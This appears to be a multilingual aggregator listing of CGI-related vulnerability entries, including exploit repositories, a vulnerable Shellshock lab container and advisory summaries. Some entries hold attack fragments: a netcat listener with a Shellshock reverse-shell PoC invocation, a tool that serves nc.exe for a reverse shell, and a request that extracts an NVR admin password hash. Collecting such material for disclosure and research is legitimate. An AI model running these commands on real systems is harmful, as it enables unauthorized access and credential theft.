Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report Este repositório contém um relatório profissional de bug bounty demonstrando a exploração bem-sucedida de uma vulnerabilidade Blind SSRF que atingiu um endpoint CGI interno vulnerável ao Shellshock CVE-2014-6271. A...

CVE-2024-10914__POC

CVE-2024-10914 - Prova de Conceito Exploit para vulnerabilidade de injeção de comando no endpoint /cgi-bin/accountmgr.cgi. Esta vulnerabilidade permite executar comandos arbitrários no sistema afetado através de parâmetros não sanitizados. Descrição da Vulnerabilidade CVE-2024-10914 é uma...

CVE-2023-47564

CVE-2023-47564 https://www.qnap.com/en/security-advisory/qsa-24-03 https://vulners.com/cve/CVE-2023-47564 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 8.1 "Foi relatada uma atribuição incorreta de permissão para um recurso crítico que afeta o Qsync Central. Se explorada, a vulnerabilidade pode...

CVE-2014-6271

CVE-2014-6271 python2.7 अपनी मशीन पर लिसनिंग शुरू करें। root@kitploit: nc -l -p 4444 नीचे दिए गए नियम के अनुसार पायथन स्क्रिप्ट चलाएँ: python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 आनंद लें।...

poc-yaws-cgi-shell-injection

Injection de commande système dans le serveur web Yaws CVE-2020-24916 Preuve de concept Construire l'image de test : docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . et/ou Exécuter le conteneur docker run --rm -d -i -p 127.0.0.1:8000:8080...

CVE-2019-0232

CVE-2019-0232 الوصف هذه أداة تؤتمت سير عمل استغلال الثغرة CVE‑2019‑0232 من خلال توفير وضع تنفيذ الأوامر ووضع القشرة العكسية. تدعم الأداة الترميز التلقائي لعناوين URL الخاصة بالأوامر، وتُشغّل خادم HTTP مؤقتًا لاستضافة ملف nc.exe، وترفعه إلى نقطة نهاية CGI الخاصة بـ Apache Tomcat القابلة للاستغلال...

CVE-2025-67445

Обзор Уязвимость в интерфейсе веб-управления TOTOLINK X5000R V9.1.0cu.2415 позволяет неаутентифицированному удаленному злоумышленнику в локальной сети вызвать сбой веб-службы через ошибку сегментации. Отправляя чрезмерно большой HTTP POST запрос к конечной точке CGI, злоумышленник может вызвать...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd Primeiro, obtenha o hash MD5 da senha da conta 'admin'. Enviar: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows NT 6....

CVE-2025-64446-FortiWeb-CGI-Bypass-PoC

CVE-2025-64446 शोषण उपकरण FortiWeb उपकरणों में CVE-2025-64446 भेद्यता सत्यापन और शोषण के लिए शोषण उपकरण। विवरण यह उपकरण FortiWeb वेब एप्लिकेशन फायरवॉल में पथ ट्रैवर्सल भेद्यता CVE-2025-64446 का परीक्षण और शोषण करता है। इसका उपयोग भेद्यता स्थिति सत्यापित करने या उपयोगकर्ता खाते बनाने/संशोधित करने ...

shellshock-victim-host

shellshock-victim-host ShellshockCVE-2014-6271에 취약한 Docker 컨테이너 실행 root@kitploit: podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim 참고: docker로도 빌드 가능합니다. 취약한 앱이 다음 위치에 배포됩니다: http://localhost:8080/victim.cgi - 취약한 엔드포인트 http://localhost:8080/safe.cgi - 안전한 엔드포인트...

CVE-2022-21587-Oracle-EBS-

Pré-requisito para executar este exploit: python3 incluindo os módulos requests, os, sys, slipit uuencode Antes de executar, certifique-se de usar apenas para fins éticos. se o exploit falhar ao executar: Certifique-se de que já instalou o módulo pré-requisito. instalar requests pip3 install...

CVE-2026-73673

CVE-2026-73673: Netis NC63 अनधिकृत फर्मवेयर अपडेट जिसमें क्रिप्टोग्राफिक फर्मवेयर प्रमाणीकरण का अभाव है मूल भेद्यता अनुसंधान Özcan Ersan @ozcanpng द्वारा। यह रिपॉजिटरी CVE-2026-73673 का दस्तावेजीकरण करती है, जिसे लेखक द्वारा खोजा और रिपोर्ट किया गया। CVE-2026-73673 के लिए गैर-विनाशकारी...

CVE-2026-19379

A vulnerability was determined in EFM ipTIME AX8004M 15.09.0. Impacted is the function popen of the file /cgi/d.cgi of the component CGI Endpoint. This manipulation of the argument fname causes os command injection. The attack can be initiated remotely. The exploit has been publicly disclosed and...

CVE-2026-19379

CVE-2026-19379 affects EFM ipTIME AX8004M (firmware 15.09.0) where the popen function in /cgi/d.cgi under CGI Endpoint can be abused to inject commands via fname. The issue enables remote code execution and is supported by public disclosure; exploitation maturity is PROOF-OF-CONCEPT per the CVSS ...

EUVD-2026-54974

A vulnerability was determined in EFM ipTIME AX8004M 15.09.0. Impacted is the function popen of the file /cgi/d.cgi of the component CGI Endpoint. This manipulation of the argument fname causes os command injection. The attack can be initiated remotely. The exploit has been publicly disclosed and...

PT-2026-69323

Name of the Vulnerable Software and Affected Versions EFM ipTIME AX8004M version 15.09.0 Description A remote OS command injection exists within the CGI Endpoint component. The issue occurs when the popen function in the '/cgi/d.cgi' endpoint improperly handles the fname argument, allowing an...

EUVD-2026-38652

Multiple OS command injection vulnerabilities exist in the libNetSetObj.so functionality of GeoVision GV-I/O Box 4E 2.09. A specially crafted network packet can lead to command execution. An attacker can send a network request to trigger this vulnerability. libNetSetObj.so is an internal library...

CVE-2026-12849

Multiple OS command injection vulnerabilities exist in the libNetSetObj.so functionality of GeoVision GV-I/O Box 4E 2.09. A specially crafted network packet can lead to command execution. An attacker can send a network request to trigger this vulnerability. libNetSetObj.so is an internal library...

CVE-2026-31163

An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557B20221024 allowing attackers to execute arbitrary commands via the dhcpMtu parameter to /cgi-bin/cstecgi.cgi...

CVE-2026-35717

A stack-based buffer overflow in the exportlanguage.cgi binary in VIVOTEK FD8136 firmware FD8136-VVTK-0300a allows authenticated remote attackers to execute arbitrary code as root via a crafted POST request to the /cgi-bin/admin/exportlanguage.cgi endpoint. The handler passes the...